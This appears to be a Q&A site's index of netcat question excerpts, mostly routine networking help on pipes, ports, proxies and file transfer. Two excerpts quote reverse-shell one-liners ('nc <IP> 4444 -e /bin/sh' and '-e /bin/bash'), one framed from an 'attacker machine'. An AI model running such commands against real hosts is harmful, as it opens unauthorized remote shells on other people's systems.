netcat

Piping live sound from raspberry pi to macOS

Piping live sound from raspberry pi to macOS I want to pipe and live play the sound recorded on my raspberry to my MacBook. I’ve tried the following: On My raspberry: I tried to establish a data stream on a port 3333 arecord -D plughw:3,0 -f S16_LE 44100 -t raw | nc -l -p 3333 …

Total answers: 1

Usage of named pipe as data source for netcat

Usage of named pipe as data source for netcat I want to use netcat as a TCP-server that reads data from a named pipe. For that I did the following: Step 1. Created a pipe and the server that uses it as a source mkfifo /tmp/all.pipe nc -k -l 8080 < /tmp/all.pipe Step 2. Created …

Total answers: 1

Socat specify source port

Socat specify source port How do I specify source port in socat? In netcat I can simply: nc -u -s 192.168.0.1 -p 8888 192.168.0.2 9999 I tried socat udp4:192.168.0.2:9999 STDIN:192.168.0.1:8888 It’s failed STDIN: wrong number of parameters (2 instead of 0) So how do I do it in socat? Asked By: Muhammad Ikhwan Perwira || …

Total answers: 1

How do I inject a header line into a pipe via a shell script?

How do I inject a header line into a pipe via a shell script? I am working on a process to send data via a pipe from one server to another for processing. Although this is not the exact command, it might look something like this: tail -f logfile | grep "abc" | grep "def" …

Total answers: 1

netcat nc: getnameinfo: Temporary failure in name resolution

netcat nc: getnameinfo: Temporary failure in name resolution I’m on a Raspbian, I’ve tried to receive data with: nc -4 -l -v -k -p 5004 which result in: Listening on [0.0.0.0] (family 2, port 5004) nc: getnameinfo: Temporary failure in name resolution route command return this: Kernel IP routing table Destination Gateway Genmask Flags Metric …

Total answers: 1

invalid option -e in netcat

invalid option -e in netcat I am trying to get a shell on host machine from another (attacker) machine. Attacker machine is listening. I am running below command on my host machine nc 123.123.123.12 4444 -e /bin/sh Output I get: nc: invalid option — ‘e’ usage: nc [-46CDdFhklNnrStUuvZz] [-I length] [-i interval] [-M ttl] [-m …

Total answers: 3

How does this command work? (reverse shell)

How does this command work? (reverse shell) There was a simple way to connect two systems and getting a shell using nc command as below. Machine A to listen nc -nlvp 4444 Machine B to connect nc 192.168.4.4 4444 -e /bin/bash However, the -e option is no more, The man pages recommends following as below …

Total answers: 1

Netcat – How to listen on a TCP port using IPv6 address?

Netcat – How to listen on a TCP port using IPv6 address? I am using the newest version of netcat (v1.10-41.1) which does not seem to have an option for IPv6 addresses (as the -6 was in the older versions of nc). If I type in nc -lvnp 2222 and check listening ports with netstat …

Total answers: 2

SSH speed greatly improved via ProxyCommand – but why?

SSH speed greatly improved via ProxyCommand – but why? The TL;DR version Watch this ASCII cast or this video – then come up with any reasons why this is happening. The text description that follows provides more context. Details of the setup Machine 1 is an Arch Linux laptop, on which ssh is spawned, connecting …

Total answers: 1

Bash – Use automatic file descriptor creation instead of fifo

Bash – Use automatic file descriptor creation instead of fifo At the beginning, I created a small server with netcat and it worked well: #!/bin/bash PORT=”1234″; startServer(){ fifo=”fifo/$1″; mkfifo “$fifo”; connected=”0″; netcat -q 0 -l -p “$PORT” < “$fifo” | while read -r line; do if [ “$connected” == “0” ];then #listen for a new …

Total answers: 1

What are the differences between ncat, nc and netcat?

What are the differences between ncat, nc and netcat? I’m not sure about when to use nc, netcat or ncat. If one is the deprecated version of another? If one is only available on one distribution? If it is the same command but with different names? In fact I’m a bit confused. My question comes …

Total answers: 3

No route to host with nc but can ping

No route to host with nc but can ping I’m trying to connect to port 25 with netcat from one virtual machine to another but It’s telling me no route to host although i can ping. I do have my firewall default policy set to drop but I have an exception to accept traffic for …

Total answers: 2

netcat: send text to echo service, read reply then exit

netcat: send text to echo service, read reply then exit I would like to use netcat to send a piece of text to the echo service on my server, get the reply then exit, so that I know the connection is still good. so far I’ve tried: echo ‘test’ | netcat server 7 this way …

Total answers: 12

Any way to send just "n" in Telnet?

Any way to send just "n" in Telnet? I’m wondering if there’s any way to get telnet to send only a n, not a rn. For example, if one process is listening on a port like this, to print the bytes of any traffic received: nc -l 1234 | xxd -c 1 Connecting to it …

Total answers: 2

Does netcat support proxy authentication?

Does netcat support proxy authentication? How to deal with this: nc: Proxy error: “HTTP/1.1 407 Proxy Authentication Required” nc has a -P option for proxy username, but what’s for password? Asked By: Cyker || Source It’s not clear what Netcat variant you’re using, but presuming it’s OpenBSD’s netcat, the proxy authentication behavior, as of version …

Total answers: 1

How to know when NC is done transferring a file

How to know when NC is done transferring a file Is there a way to know when netcat is done transferring a file between machines? Current commands: Machine #2: nc -lp 5555 > test.txt Machine #1: nc MachineIP Port < test.txt The transfer happens, but there’s no visual indication that it has completed. Asked By: …

Total answers: 1

netcat doesn't print response

netcat doesn't print response I’m trying to send commands to a tcp port using netcat and pipe response when I run netcat and type my command it prints response correctly but when I pass command from a pipe it sends the command correctly but doesn’t print response So, this works correctly: netcat localhost 9009 while …

Total answers: 5

How does netcat know if a UDP port is open?

How does netcat know if a UDP port is open? So I can use this netcat command to check if a UDP port is open: $ nc -vz -u 10.1.0.100 53 Connection to 10.1.0.100 53 port [udp/domain] succeeded! Unlike TCP, UDP is connectionless (fire and forget). So at a high level does anyone know how …

Total answers: 4